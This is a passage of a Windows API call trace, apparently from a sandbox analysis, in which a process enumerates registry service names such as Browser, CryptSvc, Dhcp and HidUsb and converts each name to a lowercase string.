RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0232.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.307] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0232.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0232.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.307] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0232.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0232.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.308] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0232.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0232.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.308] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0232.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0232.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.308] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0232.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0232.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.308] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.308] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0232.308] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0232.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.309] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0232.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0232.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.309] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0232.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0232.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.309] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0232.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0232.309] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.310] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0232.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0232.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.310] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0232.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0232.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.310] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0232.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0232.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.310] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.310] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0232.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0232.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0232.311] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0232.311] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0232.311] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0232.311] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0232.311] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0232.311] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0232.311] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0232.311] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0232.311] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0232.311] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0232.311] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0232.311] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0232.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0232.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0232.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0232.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0232.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0232.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0232.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0232.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0232.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0232.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0232.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0232.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0232.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0232.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0232.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0232.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0232.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0232.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0232.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0232.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0232.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0232.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0232.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0232.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0232.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0232.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0232.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0232.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0232.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0232.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0232.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0232.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0232.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0232.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0232.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0232.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0232.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0232.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0232.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0232.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0232.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0232.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0232.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0232.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0232.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0232.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0232.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0232.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0232.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0232.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0232.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0232.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0232.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0232.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0232.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0232.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0232.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0232.315] RegEnumKeyW (in: 